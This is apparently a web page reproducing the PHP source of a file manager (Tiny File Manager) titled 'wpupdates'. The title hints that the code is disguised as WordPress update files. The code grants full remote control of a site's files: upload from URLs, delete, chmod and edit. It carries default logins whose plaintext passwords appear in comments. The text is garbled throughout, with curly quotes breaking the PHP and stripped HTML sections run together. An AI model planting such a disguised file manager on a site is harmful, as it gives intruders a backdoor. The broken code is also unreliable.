wpupdates

// Generate secure password hash – https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
‘admin’ => ‘$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW’, //admin@123
‘user’ => ‘$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO’ //12345
);

// Readonly users (username array)
$readonly_users = array(
‘user’
);

// user specific directories
// array(‘Username’ => ‘Directory path’, ‘Username2’ => ‘Directory path’, …)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view’s page
$use_highlightjs = true;

// highlight.js style
$highlightjs_style = ‘vs’;

// Enable ace.js (https://ace.c9.io/) on view’s page
$edit_files = true;

// Default timezone for date() and time() – http://php.net/manual/en/timezones.php
$default_timezone = ‘Etc/UTC’; // UTC

// Root path for file manager
$root_path = $_SERVER[‘DOCUMENT_ROOT’];

// Root url for links in file manager.Relative to $http_host. Variants: ”, ‘path/to/subfolder’
// Will not working if $root_path will be outside of server document root
$root_url = ”;

// Server hostname. Can set manually if wrong
$http_host = $_SERVER[‘HTTP_HOST’];

// input encoding for iconv
$iconv_input_encoding = ‘UTF-8’;

// date() format for file modification date
$datetime_format = ‘d.m.y H:i’;

// allowed file extensions for upload and rename
$allowed_extensions = ”; // ‘gif,png,jpg’

// Array of files and folders excluded from listing
$GLOBALS[‘exclude_items’] = array();

// Google Docs Viewer
$GLOBALS[‘online_viewer’] = true;

//Sticky Nav bar
$sticky_navbar = true;

// private key and session name to store to the session
if ( !defined( ‘FM_SESSION_ID’)) {
define(‘FM_SESSION_ID’, ‘filemanager’);
}

//Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data[‘lang’]) ? $cfg->data[‘lang’] : ‘en’;

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data[‘show_hidden’]) ? $cfg->data[‘show_hidden’] : true;

// PHP error reporting – false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data[‘error_reporting’]) ? $cfg->data[‘error_reporting’] : true;

//available languages
$lang_list = array(
‘en’ => ‘English’
);

//— EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL

if ($report_errors == true) {
@ini_set(‘error_reporting’, E_ALL);
@ini_set(‘display_errors’, 1);
} else {
@ini_set(‘error_reporting’, E_ALL);
@ini_set(‘display_errors’, 0);
}

// Set Cookie
setcookie(‘fm_cache’, true, 2147483647, “/”);

// if fm included
if (defined(‘FM_EMBED’)) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);

date_default_timezone_set($default_timezone);

ini_set(‘default_charset’, ‘UTF-8’);
if (version_compare(PHP_VERSION, ‘5.6.0’, ‘<‘) && function_exists(‘mb_internal_encoding’)) { mb_internal_encoding(‘UTF-8’); } if (function_exists(‘mb_regex_encoding’)) { mb_regex_encoding(‘UTF-8’); } session_cache_limiter(”); session_name(FM_SESSION_ID ); @session_start(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER[‘HTTPS’]) && ($_SERVER[‘HTTPS’] == ‘on’ || $_SERVER[‘HTTPS’] == 1) || isset($_SERVER[‘HTTP_X_FORWARDED_PROTO’]) && $_SERVER[‘HTTP_X_FORWARDED_PROTO’] == ‘https’; // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined(‘FM_ROOT_URL’) || define(‘FM_ROOT_URL’, ($is_https ? ‘https’ : ‘http’) . ‘://’ . $http_host . (!empty($root_url) ? ‘/’ . $root_url : ”)); defined(‘FM_SELF_URL’) || define(‘FM_SELF_URL’, ($is_https ? ‘https’ : ‘http’) . ‘://’ . $http_host . $_SERVER[‘PHP_SELF’]); // logout if (isset($_GET[‘logout’])) { unset($_SESSION[FM_SESSION_ID][‘logged’]); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET[‘img’])) { fm_show_image($_GET[‘img’]); } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID][‘logged’], $auth_users[$_SESSION[FM_SESSION_ID][‘logged’]])) { // Logged } elseif (isset($_POST[‘fm_usr’], $_POST[‘fm_pwd’])) { // Logging In sleep(1); if(function_exists(‘password_verify’)) { if (isset($auth_users[$_POST[‘fm_usr’]]) && isset($_POST[‘fm_pwd’]) && password_verify($_POST[‘fm_pwd’], $auth_users[$_POST[‘fm_usr’]])) { $_SESSION[FM_SESSION_ID][‘logged’] = $_POST[‘fm_usr’]; fm_set_msg(‘You are logged in’); fm_redirect(FM_SELF_URL . ‘?p=’); } else { unset($_SESSION[FM_SESSION_ID][‘logged’]); fm_set_msg(‘Login failed. Invalid username or password’, ‘error’); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(‘password_hash not supported, Upgrade PHP version’, ‘error’);; } } else { // Form unset($_SESSION[FM_SESSION_ID][‘logged’]); fm_show_header_login(); fm_show_message(); ?>

fm_show_footer_login();
exit;
}
}

// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID][‘logged’])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID][‘logged’]]) ? $directories_users[$_SESSION[FM_SESSION_ID][‘logged’]] : $root_path;
}

// clean and check $root_path
$root_path = rtrim($root_path, ‘\\/’);
$root_path = str_replace(‘\\’, ‘/’, $root_path);
if (!@is_dir($root_path)) {
echo ”

Root path \”{$root_path}\” not found!

“;
exit;
}

defined(‘FM_SHOW_HIDDEN’) || define(‘FM_SHOW_HIDDEN’, $show_hidden_files);
defined(‘FM_ROOT_PATH’) || define(‘FM_ROOT_PATH’, $root_path);
defined(‘FM_LANG’) || define(‘FM_LANG’, $lang);
defined(‘FM_EXTENSION’) || define(‘FM_EXTENSION’, $allowed_extensions);
define(‘FM_READONLY’, $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID][‘logged’]) && in_array($_SESSION[FM_SESSION_ID][‘logged’], $readonly_users));
define(‘FM_IS_WIN’, DIRECTORY_SEPARATOR == ‘\\’);

// always use ?p=
if (!isset($_GET[‘p’]) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . ‘?p=’);
}

// get path
$p = isset($_GET[‘p’]) ? $_GET[‘p’] : (isset($_POST[‘p’]) ? $_POST[‘p’] : ”);

// clean path
$p = fm_clean_path($p);

// instead globals vars
define(‘FM_PATH’, $p);
define(‘FM_USE_AUTH’, $use_auth);
define(‘FM_EDIT_FILE’, $edit_files);
defined(‘FM_ICONV_INPUT_ENC’) || define(‘FM_ICONV_INPUT_ENC’, $iconv_input_encoding);
defined(‘FM_USE_HIGHLIGHTJS’) || define(‘FM_USE_HIGHLIGHTJS’, $use_highlightjs);
defined(‘FM_HIGHLIGHTJS_STYLE’) || define(‘FM_HIGHLIGHTJS_STYLE’, $highlightjs_style);
defined(‘FM_DATETIME_FORMAT’) || define(‘FM_DATETIME_FORMAT’, $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/*************************** ACTIONS ***************************/

// AJAX Request
if (isset($_POST[‘ajax’]) && !FM_READONLY) {

// backup files
if (isset($_POST[‘type’]) && $_POST[‘type’] == “backup”) {
$file = $_POST[‘file’];
$path = $_POST[‘path’];
$date = date(“dMy-His”);
$newFile = $file . ‘-‘ . $date . ‘.bak’;
copy($path . ‘/’ . $file, $path . ‘/’ . $newFile) or die(“Unable to backup”);
echo “Backup $newFile Created”;
}

// Save Config
if (isset($_POST[‘type’]) && $_POST[‘type’] == “settings”) {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list;
$newLng = $_POST[‘js-language’];
fm_get_translations();
if (!array_key_exists($newLng, $lang_list)) {
$newLng = ‘en’;
}

$erp = isset($_POST[‘js-error-report’]) && $_POST[‘js-error-report’] == “true” ? true : false;
$shf = isset($_POST[‘js-show-hidden’]) && $_POST[‘js-show-hidden’] == “true” ? true : false;

if ($cfg->data[‘lang’] != $newLng) {
$cfg->data[‘lang’] = $newLng;
$lang = $newLng;
}
if ($cfg->data[‘error_reporting’] != $erp) {
$cfg->data[‘error_reporting’] = $erp;
$report_errors = $erp;
}
if ($cfg->data[‘show_hidden’] != $shf) {
$cfg->data[‘show_hidden’] = $shf;
$show_hidden_files = $shf;
}
$cfg->save();
echo true;
}

// new password hash
if (isset($_POST[‘type’]) && $_POST[‘type’] == “pwdhash”) {
$res = isset($_POST[‘inputPassword2’]) && !empty($_POST[‘inputPassword2’]) ? password_hash($_POST[‘inputPassword2’], PASSWORD_DEFAULT) : ”;
echo $res;
}

//upload using url
if(isset($_POST[‘type’]) && $_POST[‘type’] == “upload” && !empty($_REQUEST[“uploadurl”])) {
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

$url = !empty($_REQUEST[“uploadurl”]) && preg_match(“|^http(s)?://.+$|”, stripslashes($_REQUEST[“uploadurl”])) ? stripslashes($_REQUEST[“uploadurl”]) : null;
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), “upload-“);
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), “.\x00..\x20″);

function event_callback ($message) {
global $callback;
echo json_encode($message);
}

function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path.”/”.basename($fileinfo->name);
}

$err = false;
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, “w”);
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array(“message” => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info[“size_download”];
$fileinfo->type = $curl_info[“content_type”];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}

if ($success) {
$success = rename($temp_file, get_file_path());
}

if ($success) {
event_callback(array(“done” => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array(“message” => “Invalid url parameter”);
}
event_callback(array(“fail” => $err));
}
}

exit();
}

// Delete file / folder
if (isset($_GET[‘del’]) && !FM_READONLY) {
$del = str_replace( ‘/’, ”, fm_clean_path( $_GET[‘del’] ) );
if ($del != ” && $del != ‘..’ && $del != ‘.’) {
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}
$is_dir = is_dir($path . ‘/’ . $del);
if (fm_rdelete($path . ‘/’ . $del)) {
$msg = $is_dir ? ‘Folder %s deleted’ : ‘File %s deleted’;
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? ‘Folder %s not deleted’ : ‘File %s not deleted’;
fm_set_msg(sprintf($msg, fm_enc($del)), ‘error’);
}
} else {
fm_set_msg(‘Wrong file or folder name’, ‘error’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Create folder
if (isset($_GET[‘new’]) && isset($_GET[‘type’]) && !FM_READONLY) {
$type = $_GET[‘type’];
$new = str_replace( ‘/’, ”, fm_clean_path( strip_tags( $_GET[‘new’] ) ) );
if ($new != ” && $new != ‘..’ && $new != ‘.’) {
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}
if ($_GET[‘type’] == “file”) {
if (!file_exists($path . ‘/’ . $new)) {
@fopen($path . ‘/’ . $new, ‘w’) or die(‘Cannot open file: ‘ . $new);
fm_set_msg(sprintf(‘File %s created’, fm_enc($new)));
} else {
fm_set_msg(sprintf(‘File %s already exists’, fm_enc($new)), ‘alert’);
}
} else {
if (fm_mkdir($path . ‘/’ . $new, false) === true) {
fm_set_msg(sprintf(‘Folder %s created’, $new));
} elseif (fm_mkdir($path . ‘/’ . $new, false) === $path . ‘/’ . $new) {
fm_set_msg(sprintf(‘Folder %s already exists’, fm_enc($new)), ‘alert’);
} else {
fm_set_msg(sprintf(‘Folder %s not created’, fm_enc($new)), ‘error’);
}
}
} else {
fm_set_msg(‘Wrong folder name’, ‘error’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Copy folder / file
if (isset($_GET[‘copy’], $_GET[‘finish’]) && !FM_READONLY) {
// from
$copy = $_GET[‘copy’];
$copy = fm_clean_path($copy);
// empty path
if ($copy == ”) {
fm_set_msg(‘Source path not defined’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . ‘/’ . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != ”) {
$dest .= ‘/’ . FM_PATH;
}
$dest .= ‘/’ . basename($from);
// move?
$move = isset($_GET[‘move’]);
// copy/move
if ($from != $dest) {
$msg_from = trim(FM_PATH . ‘/’ . basename($from), ‘/’);
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(‘Moved from %s to %s‘, fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(‘File or folder with this path already exists’, ‘alert’);
} else {
fm_set_msg(sprintf(‘Error while moving from %s to %s‘, fm_enc($copy), fm_enc($msg_from)), ‘error’);
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(‘Copyied from %s to %s‘, fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(‘Error while copying from %s to %s‘, fm_enc($copy), fm_enc($msg_from)), ‘error’);
}
}
} else {
fm_set_msg(‘Paths must be not equal’, ‘alert’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Mass copy files/ folders
if (isset($_POST[‘file’], $_POST[‘copy_to’], $_POST[‘finish’]) && !FM_READONLY) {
// from
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST[‘copy_to’]);
if ($copy_to != ”) {
$copy_to_path .= ‘/’ . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(‘Paths must be not equal’, ‘alert’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg(‘Unable to create destination folder’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}
}
// move?
$move = isset($_POST[‘move’]);
// copy/move
$errors = 0;
$files = $_POST[‘file’];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != ”) {
// abs path from
$from = $path . ‘/’ . $f;
// abs path to
$dest = $copy_to_path . ‘/’ . $f;
// do
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? ‘Selected files and folders moved’ : ‘Selected files and folders copied’;
fm_set_msg($msg);
} else {
$msg = $move ? ‘Error while moving items’ : ‘Error while copying items’;
fm_set_msg($msg, ‘error’);
}
} else {
fm_set_msg(‘Nothing selected’, ‘alert’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Rename
if (isset($_GET[‘ren’], $_GET[‘to’]) && !FM_READONLY) {
// old name
$old = $_GET[‘ren’];
$old = fm_clean_path($old);
$old = str_replace(‘/’, ”, $old);
// new name
$new = $_GET[‘to’];
$new = fm_clean_path($new);
$new = str_replace(‘/’, ”, $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}
// rename
if ($old != ” && $new != ”) {
if (fm_rename($path . ‘/’ . $old, $path . ‘/’ . $new)) {
fm_set_msg(sprintf(‘Renamed from %s to %s‘, fm_enc($old), fm_enc($new)));
} else {
fm_set_msg(sprintf(‘Error while renaming from %s to %s‘, fm_enc($old), fm_enc($new)), ‘error’);
}
} else {
fm_set_msg(‘Names not set’, ‘error’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Download
if (isset($_GET[‘dl’])) {
$dl = $_GET[‘dl’];
$dl = fm_clean_path($dl);
$dl = str_replace(‘/’, ”, $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}
if ($dl != ” && is_file($path . ‘/’ . $dl)) {
header(‘Content-Description: File Transfer’);
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . basename($path . ‘/’ . $dl) . ‘”‘);
header(‘Content-Transfer-Encoding: binary’);
header(‘Connection: Keep-Alive’);
header(‘Expires: 0’);
header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Pragma: public’);
header(‘Content-Length: ‘ . filesize($path . ‘/’ . $dl));
readfile($path . ‘/’ . $dl);
exit;
} else {
fm_set_msg(‘File not found’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

$errors = 0;
$uploads = 0;
$total = count($f[‘file’][‘name’]);
$allowed = (FM_EXTENSION) ? explode(‘,’, FM_EXTENSION) : false;

$filename = $f[‘file’][‘name’];
$tmp_name = $f[‘file’][‘tmp_name’];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

$targetPath = $path . $ds;
$fullPath = $path . ‘/’ . $_REQUEST[‘fullpath’];
$folder = substr($fullPath, 0, strrpos($fullPath, “/”));

if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}

if (empty($f[‘file’][‘error’]) && !empty($tmp_name) && $tmp_name != ‘none’ && $isFileAllowed) {
if (move_uploaded_file($tmp_name, $fullPath)) {
die(‘Successfully uploaded’);
} else {
die(sprintf(‘Error while uploading files. Uploaded files: %s’, $uploads));
}
}
exit();
}

// Mass deleting
if (isset($_POST[‘group’], $_POST[‘delete’]) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

$errors = 0;
$files = $_POST[‘file’];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != ”) {
$new_path = $path . ‘/’ . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(‘Selected files and folder deleted’);
} else {
fm_set_msg(‘Error while deleting items’, ‘error’);
}
} else {
fm_set_msg(‘Nothing selected’, ‘alert’);
}

fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST[‘group’]) && (isset($_POST[‘zip’]) || isset($_POST[‘tar’])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = ‘zip’;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

//set pack type
$ext = isset($_POST[‘tar’]) ? ‘tar’ : ‘zip’;

if (($ext == “zip” && !class_exists(‘ZipArchive’)) || ($ext == “tar” && !class_exists(‘PharData’))) {
fm_set_msg(‘Operations with archives are not available’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

$files = $_POST[‘file’];
if (!empty($files)) {
chdir($path);

if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . ‘_’ . date(‘ymd_His’) . ‘.’.$ext;
} else {
$zipname = ‘archive_’ . date(‘ymd_His’) . ‘.’.$ext;
}

if($ext == ‘zip’) {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == ‘tar’) {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}

if ($res) {
fm_set_msg(sprintf(‘Archive %s created’, fm_enc($zipname)));
} else {
fm_set_msg(‘Archive not created’, ‘error’);
}
} else {
fm_set_msg(‘Nothing selected’, ‘alert’);
}

fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET[‘unzip’]) && !FM_READONLY) {
$unzip = $_GET[‘unzip’];
$unzip = fm_clean_path($unzip);
$unzip = str_replace(‘/’, ”, $unzip);
$isValid = false;

$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

if ($unzip != ” && is_file($path . ‘/’ . $unzip)) {
$zip_path = $path . ‘/’ . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(‘File not found’, ‘error’);
}

if (($ext == “zip” && !class_exists(‘ZipArchive’)) || ($ext == “tar” && !class_exists(‘PharData’))) {
fm_set_msg(‘Operations with archives are not available’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

if ($isValid) {
//to folder
$tofolder = ”;
if (isset($_GET[‘tofolder’])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . ‘/’ . $tofolder, true)) {
$path .= ‘/’ . $tofolder;
}
}

if($ext == “zip”) {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == “tar”) {
$gzipper = new PharData($zip_path);
$res = $gzipper->extractTo($path);
}

if ($res) {
fm_set_msg(‘Archive unpacked’);
} else {
fm_set_msg(‘Archive not unpacked’, ‘error’);
}

} else {
fm_set_msg(‘File not found’, ‘error’);
}
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST[‘chmod’]) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

$file = $_POST[‘chmod’];
$file = fm_clean_path($file);
$file = str_replace(‘/’, ”, $file);
if ($file == ” || (!is_file($path . ‘/’ . $file) && !is_dir($path . ‘/’ . $file))) {
fm_set_msg(‘File not found’, ‘error’);
fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

$mode = 0;
if (!empty($_POST[‘ur’])) {
$mode |= 0400;
}
if (!empty($_POST[‘uw’])) {
$mode |= 0200;
}
if (!empty($_POST[‘ux’])) {
$mode |= 0100;
}
if (!empty($_POST[‘gr’])) {
$mode |= 0040;
}
if (!empty($_POST[‘gw’])) {
$mode |= 0020;
}
if (!empty($_POST[‘gx’])) {
$mode |= 0010;
}
if (!empty($_POST[‘or’])) {
$mode |= 0004;
}
if (!empty($_POST[‘ow’])) {
$mode |= 0002;
}
if (!empty($_POST[‘ox’])) {
$mode |= 0001;
}

if (@chmod($path . ‘/’ . $file, $mode)) {
fm_set_msg(‘Permissions changed’);
} else {
fm_set_msg(‘Permissions not changed’, ‘error’);
}

fm_redirect(FM_SELF_URL . ‘?p=’ . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != ”) {
$path .= ‘/’ . FM_PATH;
}

// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . ‘?p=’);
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file == ‘.’ || $file == ‘..’ && in_array($file, $GLOBALS[‘exclude_items’])) {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === ‘.’) {
continue;
}
$new_path = $path . ‘/’ . $file;
if (@is_file($new_path) && !in_array($file, $GLOBALS[‘exclude_items’])) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != ‘.’ && $file != ‘..’ && !in_array($file, $GLOBALS[‘exclude_items’])) {
$folders[] = $file;
}
}
}

if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}

// upload form
if (isset($_GET[‘upload’]) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>

 


:

” class=”dropzone card-tabs-container” id=”fileUploader” enctype=”multipart/form-data”>





foreach ($copy_files as $cf) {
echo ‘‘ . PHP_EOL;
}
?>

:

:

/


 

Copying

Source path:
Destination folder:

Copy
Move
Cancel

Select folder

 

 

 




 



 


 

Full path:
File
size: ()

MIME-type:

Files in archive:
Total size:
Size in archive:
Compression: %
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo ‘Image sizes: ‘ . (isset($image_size[0]) ? $image_size[0] : ‘0’) . ‘ x ‘ . (isset($image_size[1]) ? $image_size[1] : ‘0’) . ‘
‘;
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists(‘iconv’)) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, ‘UTF-8//IGNORE’, $content);
}
}
echo ‘Charset: ‘ . ($is_utf8 ? ‘utf-8’ : ‘8 bit’) . ‘
‘;
}
?>










if($is_onlineViewer) {
// Google docs viewer
echo ‘‘;
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo ‘';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '' . fm_enc($fn['name']) . '
';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
';
}
}
echo '
‘;
} else {
echo ‘

Error while fetching archive info

‘;
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array(‘gif’, ‘jpg’, ‘jpeg’, ‘png’, ‘bmp’, ‘ico’))) {
echo ‘

‘;
}
} elseif ($is_audio) {
// Audio content
echo ‘

‘;
} elseif ($is_video) {
// Video content
echo ‘

‘;
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
‘shtml’ => ‘xml’,
‘htaccess’ => ‘apache’,
‘phtml’ => ‘php’,
‘lock’ => ‘json’,
‘svg’ => ‘xml’,
);
$hljs_class = isset($hljs_classes[$ext]) ? ‘lang-‘ . $hljs_classes[$ext] : ‘lang-‘ . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match(‘#\.min\.(css|js)$#i’, $file)) {
$hljs_class = ‘nohighlight’;
}
$content = ‘

' . fm_enc($content) . '

‘;
} elseif (in_array($ext, array(‘php’, ‘php4’, ‘php5’, ‘phtml’, ‘phps’))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = ‘

' . fm_enc($content) . '

‘;
}
echo $content;
}
?>

 











if ($is_text && $isNormalEditor) {
echo ‘‘;
} elseif ($is_text) {
echo ‘

‘ . htmlspecialchars($content) . ‘

‘;
} else {
fm_set_msg(‘FILE EXTENSION HAS NOT SUPPORTED’, ‘error’);
}
?>

 

Full path:



 


$group = array(‘name’ => ‘?’);
}
?>

$group = array(‘name’ => ‘?’);
}
?>


..










…”
href=”?p=&copy=“>



Full size:,
,
,
,

return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}

/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists(‘finfo_open’)) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists(‘mime_content_type’)) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get(‘disable_functions’), ‘shell_exec’)) {
$file = escapeshellarg($file_path);
$mime = shell_exec(‘file -bi ‘ . $file);
return $mime;
} else {
return ‘–‘;
}
}

/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header(‘Location: ‘ . $url, true, $code);
exit;
}

/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path)
{
$path = trim($path);
$path = trim($path, ‘\\/’);
$path = str_replace(array(‘../’, ‘..\\’), ”, $path);
if ($path == ‘..’) {
$path = ”;
}
return str_replace(‘\\’, ‘/’, $path);
}

/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != ”) {
$array = explode(‘/’, $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode(‘/’, $array);
}
return ”;
}
return false;
}

/*
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents(‘translation.json’);
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng[“language”] as $key => $value)
{
$code = $value[“code”];
$lang_list[$code] = $value[“name”];
if ($tr)
$tr[$code] = $value[“translation”];
}
return $tr;
}

}
catch (Exception $e) {
echo $e;
}
}

/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
if ($size < 1000) {
return sprintf(‘%s B’, $size);
} elseif (($size / 1024) < 1000) {
return sprintf(‘%s KB’, round(($size / 1024), 2));
} elseif (($size / 1024 / 1024) < 1000) {
return sprintf(‘%s MB’, round(($size / 1024 / 1024), 2));
} elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf(‘%s GB’, round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf(‘%s TB’, round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == ‘zip’ && function_exists(‘zip_open’)) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == ‘/’; $filenames[] = array( ‘name’ => $zip_name,
